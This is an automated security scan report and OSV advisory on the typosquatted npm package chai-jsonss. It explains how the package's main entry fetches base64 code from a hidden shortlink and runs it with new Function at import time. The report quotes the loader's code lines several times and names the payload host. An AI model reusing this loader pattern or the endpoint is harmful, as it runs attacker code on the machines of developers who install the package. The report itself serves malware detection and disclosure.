chai-jsonss@3.7.7: Malicious npm security report (Block)

AI Security Review

scanned 5d ago · by lpm-firewall-ai

Importing the main entrypoint invokes an attempted remote payload loader. The current source has a property-path defect that prevents the network request and dynamic execution.

Static reason

One or more suspicious static signals were detected.

Trigger

Import or require index.js.

Impact

If made operational, a server response could run arbitrary code with the importing process's privileges.

Mechanism

Import-time remote fetch followed by decoded dynamic code execution.

Rationale

This is an overt remote-code-loader pattern at import time, but the inspected source is currently inert because its URL lookup is broken. It warrants a warning rather than a publish block under the concrete-behavior boundary.

Evidence

package.jsonindex.jslib/caller.jslib/const.js

Network endpoints1

1uznbx.s.gy/7xdQmt

OSV Corroboration

OpenSSF/OSV

Advisory

MAL-2026-13692

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in chai-jsonss (npm)

Details

On import, index.js invokes postCallers() which resolves a base64-encoded URL stored in lib/const.js (decoding to https://1uznbx.s.gy/7xdQmt), GETs the response via axios, base64-decodes response.data.model, and passes it to new Function(require) — executing attacker-controlled JavaScript in-process. The destination is hidden as a DEV_API_KEY field on a fake process.env-shaped local module, and the payload URL is a shortlink to a mutable remote resource. The package name resembles chai but its main entry contains no chai-related functionality; the only import-time behavior is fetch-and-eval of remote code.

References

OSV advisory PACKAGE

Decision evidence

public snapshot

AI called this Suspicious at 90.0% confidence as Malware with low false-positive risk.

Evidence for block

index.js imports and invokes lib/caller.js at module load.
lib/caller.js fetches a decoded URL and compiles response.data.model with new Function.
lib/const.js contains an encoded URL: https://1uznbx.s.gy/7xdQmt.
The remote loader is unrelated to the declared package API.

Evidence against

package.json has no install lifecycle hooks.
lib/caller.js shadows Node's process with lib/const.js, whose object has env but no process.env; the request expression therefore throws before a request.
No source evidence of file writes, credential collection, or exfiltration.

Behavioral surface

Source

ChildProcessEnvironmentVarsEvalNetwork

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 17 file(s), 51.6 KB of source, external domains: github.com

Source & flagged code

3 flagged

lib/caller.jsView file

2L3: const axios = require("axios"); L4: const process = require("./const"); ... L7: (async () => { L8: axios.get(atob(process.env.DEV_API_KEY)) L9: .then(response => { L10: new Function("require", Buffer.from(response.data.model, 'base64').toString('utf8'))(require); L11: })

Critical

Remote Response Code Execution

Source passes code obtained from a remote response into a dynamic execution sink.

lib/caller.jsView on unpkg · L2

9.then(response => { L10: new Function("require", Buffer.from(response.data.model, 'base64').toString('utf8'))(require); L11: })

High

Eval

Package source references dynamic code evaluation.

lib/caller.jsView on unpkg · L9

2L3: const axios = require("axios"); L4: const process = require("./const"); ... L7: (async () => { L8: axios.get(atob(process.env.DEV_API_KEY)) L9: .then(response => { L10: new Function("require", Buffer.from(response.data.model, 'base64').toString('utf8'))(require); L11: })

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

lib/caller.jsView on unpkg · L2

Source & flagged code

3 flagged · loading source

lib/caller.jsView file

2L3: const axios = require("axios"); L4: const process = require("./const"); ... L7: (async () => { L8: axios.get(atob(process.env.DEV_API_KEY)) L9: .then(response => { L10: new Function("require", Buffer.from(response.data.model, 'base64').toString('utf8'))(require); L11: })

Critical

Remote Response Code Execution

Source passes code obtained from a remote response into a dynamic execution sink.

lib/caller.jsView on unpkg · L2

9.then(response => { L10: new Function("require", Buffer.from(response.data.model, 'base64').toString('utf8'))(require); L11: })

High

Eval

Package source references dynamic code evaluation.

lib/caller.jsView on unpkg · L9

2L3: const axios = require("axios"); L4: const process = require("./const"); ... L7: (async () => { L8: axios.get(atob(process.env.DEV_API_KEY)) L9: .then(response => { L10: new Function("require", Buffer.from(response.data.model, 'base64').toString('utf8'))(require); L11: })

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

lib/caller.jsView on unpkg · L2

Findings

1 Critical3 High3 Medium3 Low

CriticalRemote Response Code Executionlib/caller.js

HighChild Process

HighEvallib/caller.js

HighSame File Env Network Executionlib/caller.js

MediumNetwork

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

LowScripts Present

LowHigh Entropy Strings

LowUrl Strings